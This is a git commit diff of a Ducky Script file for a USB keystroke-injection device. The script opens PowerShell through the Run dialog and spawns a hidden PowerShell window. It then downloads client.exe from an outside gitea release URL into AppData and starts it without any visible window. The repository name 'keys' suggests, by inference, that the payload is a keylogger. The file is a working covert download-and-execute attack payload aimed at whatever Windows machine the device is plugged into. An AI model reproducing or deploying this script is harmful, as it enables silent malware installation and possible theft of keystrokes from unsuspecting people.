🚧 Moves most of logic in ducky script into one block
This commit is contained in:
14
keys.txt
14
keys.txt
@@ -1,15 +1,17 @@
|
||||
REM open powershell
|
||||
GUI r
|
||||
WINDOWS r
|
||||
DELAY 1000
|
||||
STRING powershell
|
||||
ENTER
|
||||
DELAY 2000
|
||||
DELAY 3000
|
||||
|
||||
REM run rest in background
|
||||
STRING powershell.exe -WindowStyle hidden {
|
||||
STRING $OpDir = "$(pwd)\AppData\Local\keys";
|
||||
|
||||
REM download client.exe file
|
||||
STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/latest/client.exe -OutFile .\AppData\Local\Temp\keys.exe
|
||||
ENTER
|
||||
DELAY 15000
|
||||
STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/latest/client.exe -OutFile "$OpDir\keys.exe";
|
||||
|
||||
REM client.exe file (closes automatically)
|
||||
STRING powershell.exe -WindowStyle hidden { Start-Process -FilePath .\AppData\Local\Temp\keys.exe -NoNewWindow }
|
||||
STRING Start-Process -FilePath "$OpDir\keys.exe" -NoNewWindow }
|
||||
ENTER
|
||||
|
||||
Reference in New Issue
Block a user